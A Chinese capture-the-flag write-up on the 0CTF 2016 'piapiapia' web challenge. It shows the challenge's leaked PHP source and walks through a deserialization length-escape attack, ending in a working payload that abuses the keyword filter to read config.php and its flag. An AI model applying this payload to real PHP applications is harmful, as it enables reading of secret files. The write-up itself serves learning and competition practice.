【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

admin 2022年12月3日16:40:29评论24 views字数 9085阅读30分17秒阅读模式

[huayang]

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

老样子,进去看看

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

看看有没有注入

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

这提示看着就不像有过滤的,会不会像那次做的那题一样是泄露呢BDJCTF-2020-Web-easy_search

扫一下子域名

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

哇,貌似有好东西

下载看看

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

先贴出代码

class.php

<?php
require('config.php');
class user extends mysql{
	private $table = 'users';
	public function is_exists($username) {
		$username = parent::filter($username);
		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);
		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);
		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}
class mysql {
	private $link = null;
	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'],
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");
		return $this->link;
	}
	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}
	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\'';
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}
	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
		if(strlen($username) < 3 or strlen($username) > 16)
			die('Invalid user name');
		if(strlen($password) < 3 or strlen($password) > 16)
			die('Invalid password');
		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script srcb64="static/jquery.min.js"></script>
   <script srcb64="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script srcb64="static/jquery.min.js"></script>
   <script srcb64="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">
		<img srcb64="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
		if(strlen($username) < 3 or strlen($username) > 16)
			die('Invalid user name');
		if(strlen($password) < 3 or strlen($password) > 16)
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script srcb64="static/jquery.min.js"></script>
   <script srcb64="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');
		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');
		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);
		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script srcb64="static/jquery.min.js"></script>
   <script srcb64="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
			<img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

简单的审计一下理个大概的思路

这题的代码量大大超乎了预计

update.php有个序列化

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

profile.php有反序列化

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

可能是我们解题的关键

我们看见一个很重要的文件register.php,从中可知是注册页面

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

并且所有文件都指向class.php,而class.php又指向config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

由此可知我们要的flag在加载完成后的config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

注册

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

登录

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

登录完成后我们看见如上页面

Nickname是个什么东西,去源码看看

发现新大陆

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

要绕过就必须要这里为false

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

成功之后即可跳转到profile.php页面

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

这个页面是我们填写完信息展示的页面  我们发现了这边就是读取数据库中的信息 之后反序列化将值一一对应

但是对图片进行了file_get_contents() 之后又进行了 base64加密  这里我们关键是发现了file_contents()这个函数

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

结合上面发现的config.php 我们现在只要想办法让它($photo)可控读取config.php即可得到flag 

所以就要用到反序列化长度逃逸

既然先把变量序列化,然后进行过滤,在过滤的过程中把某个关键词替换成了长度更长的关键词,导致长度加长,最终引起逃逸

我们看到class.php文件

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

我们只有传入的字符串中有’where’关键字,被替换为’hacker’关键字,才会让长度加一,否则长度不变

上面我们说到了($photo)可控读取config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

所以我们要将其序列化

<?php
$a = 'photo';
$b = 'config.php';
echo serialize($a);
echo serialize($b);
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

为什么多了个} 因为要闭合后面的where

因为”;}s:5:“photo”;s:10:“config.php”;}的长度为34

我们要把这34的长度给逃逸出来,由上可只需要34个where

34个where转换为hacker刚好多出34个长度

payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

注意一下phone和email的格式等下懒得重新搞

抓包把nickname改为数组,就是添加一个[]

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

放包进去即可看见flag

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

参考文章:
https://www.jianshu.com/p/3b44e72444c1
https://www.cnblogs.com/xhds/p/12393686.html
https://blog.csdn.net/qq_43622442/article/details/105751356
https://blog.csdn.net/crisprx/article/details/104705018/
https://blog.csdn.net/zz_Caleb/article/details/96777110
http://www.mamicode.com/info-detail-2903729.html
http://yqxiaojunjie.com/index.php/archives/171/

[/huayang]

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  • 本文由 发表于 2022年12月3日16:40:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
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